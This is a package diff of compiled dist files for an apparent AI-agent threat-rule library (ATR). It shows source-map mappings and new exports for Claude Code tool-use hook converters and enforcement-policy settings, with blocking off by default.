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"}
package/dist/index.d.ts CHANGED
@@ -65,8 +65,10 @@ export { ActionExecutor } from './action-executor.js';
65
65
  export type { ActionExecutorConfig } from './action-executor.js';
66
66
  export { DefaultAdapter } from './adapters/default-adapter.js';
67
67
  export { StdioAdapter } from './adapters/stdio-adapter.js';
68
- export { HookHandler } from './hook-handler.js';
69
- export type { HookHandlerConfig } from './hook-handler.js';
68
+ export { HookHandler, toClaudeCodePreToolUse, toClaudeCodePostToolUse } from './hook-handler.js';
69
+ export type { HookHandlerConfig, HookContractOptions } from './hook-handler.js';
70
+ export { laneFromConfig, blockingFromConfig, resolveEnforcementPolicy, resolveLane, resolveBlocking, parseLane, parseBooleanFlag, isEnforcementAction, DEFAULT_LANE, DEFAULT_BLOCKING, LANE_ENV_VAR, BLOCKING_ENV_VAR, } from './enforcement.js';
71
+ export type { EnvSource, EnforcementPolicy } from './enforcement.js';
70
72
  export * as quality from './quality/index.js';
71
73
  export type { ATRRule, ATRMatch, AgentEvent, AgentEventType, ATRAction, ATRCategory, ATRSeverity, ATRStatus, ATRConfidence, ATRSourceType, ATRMatchType, ATROperator, ATRReferences, ATRTags, ATRAgentSource, ATRDetection, ATRSemanticDetection, ATRSemanticJudge, ATRSemanticJudgeCategory, ATRSemanticJudgeResult, ATRResponse, ATRTestCases, ATRTestCase, ATRPatternCondition, ATRBehavioralCondition, ATRSequenceCondition, ATRSequenceStep, VerdictOutcome, ATRVerdict, ActionResult, ExecutionContext, PlatformAdapter, HookInput, HookOutput, ScanType, ScanResult, } from './types.js';
72
74
  //# sourceMappingURL=index.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}
package/dist/index.js CHANGED
@@ -56,7 +56,17 @@ export { computeVerdict, SEVERITY_RANK, isAutoResponseEnabled } from './verdict.
56
56
  export { ActionExecutor } from './action-executor.js';
57
57
  export { DefaultAdapter } from './adapters/default-adapter.js';
58
58
  export { StdioAdapter } from './adapters/stdio-adapter.js';
59
- export { HookHandler } from './hook-handler.js';
59
+ export { HookHandler, toClaudeCodePreToolUse, toClaudeCodePostToolUse } from './hook-handler.js';
60
+ // Enforcement policy — the operator directive that turns blocking on.
61
+ // Blocking is OFF by default; without it ATR reports and never blocks.
62
+ //
63
+ // Library callers want laneFromConfig / blockingFromConfig: they take an
64
+ // explicit value and cannot read the environment. resolveEnforcementPolicy is
65
+ // the CLI entry point and is the only function that reads process.env for the
66
+ // lane and blocking switches (other modules read it for unrelated settings) —
67
+ // resolveLane / resolveBlocking require an EnvSource argument, so nothing else
68
+ // can reach it by accident.
69
+ export { laneFromConfig, blockingFromConfig, resolveEnforcementPolicy, resolveLane, resolveBlocking, parseLane, parseBooleanFlag, isEnforcementAction, DEFAULT_LANE, DEFAULT_BLOCKING, LANE_ENV_VAR, BLOCKING_ENV_VAR, } from './enforcement.js';
60
70
  // Quality Standard — RFC-001 reference implementation
61
71
  export * as quality from './quality/index.js';
62
72
  //# sourceMappingURL=index.js.map
package/dist/index.js.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAEH,mEAAmE;AACnE,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAExC,OAAO,EAAE,gBAAgB,EAAE,MAAM,kBAAkB,CAAC;AAEpD,OAAO,EAAE,YAAY,EAAE,sBAAsB,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AACjF,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,EAAE,kBAAkB,EAAE,MAAM,mBAAmB,CAAC;AACvD,OAAO,EAAE,kBAAkB,EAAE,mBAAmB,EAAE,MAAM,aAAa,CAAC;AAEtE,OAAO,EAAE,oBAAoB,EAAE,MAAM,yBAAyB,CAAC;AAC/D,OAAO,EAAE,2BAA2B,EAAE,MAAM,+BAA+B,CAAC;AAG5E,oEAAoE;AACpE,OAAO,EAAE,gBAAgB,EAAE,MAAM,sBAAsB,CAAC;AAGxD,oEAAoE;AACpE,OAAO,EAAE,iBAAiB,EAAE,mBAAmB,EAAE,MAAM,sBAAsB,CAAC;AAG9E,oEAAoE;AACpE,OAAO,EAAE,mBAAmB,EAAE,MAAM,2BAA2B,CAAC;AAGhE,oEAAoE;AACpE,OAAO,EAAE,eAAe,EAAE,MAAM,wBAAwB,CAAC;AAEzD,OAAO,EAAE,WAAW,EAAE,iBAAiB,EAAE,MAAM,6BAA6B,CAAC;AAE7E,OAAO,EAAE,mBAAmB,EAAE,kBAAkB,EAAE,MAAM,6BAA6B,CAAC;AAGtF,mEAAmE;AACnE,OAAO,EAAE,cAAc,EAAE,MAAM,oBAAoB,CAAC;AAEpD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAC;AACrD,kDAAkD;AAClD,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AAEvD,kDAAkD;AAClD,OAAO,EAAE,qBAAqB,EAAE,MAAM,wBAAwB,CAAC;AAQ/D,mEAAmE;AACnE,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAStD,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAG1D,mEAAmE;AACnE,OAAO,EAAE,WAAW,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAErE,OAAO,EAAE,SAAS,EAAE,MAAM,wBAAwB,CAAC;AACnD,OAAO,EAAE,aAAa,EAAE,MAAM,yBAAyB,CAAC;AACxD,OAAO,EAAE,iBAAiB,EAAE,MAAM,uBAAuB,CAAC;AAE1D,oEAAoE;AACpE,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,EAAE,eAAe,EAAE,MAAM,eAAe,CAAC;AAGhD,mEAAmE;AACnE,qDAAqD;AACrD,qDAAqD;AACrD,OA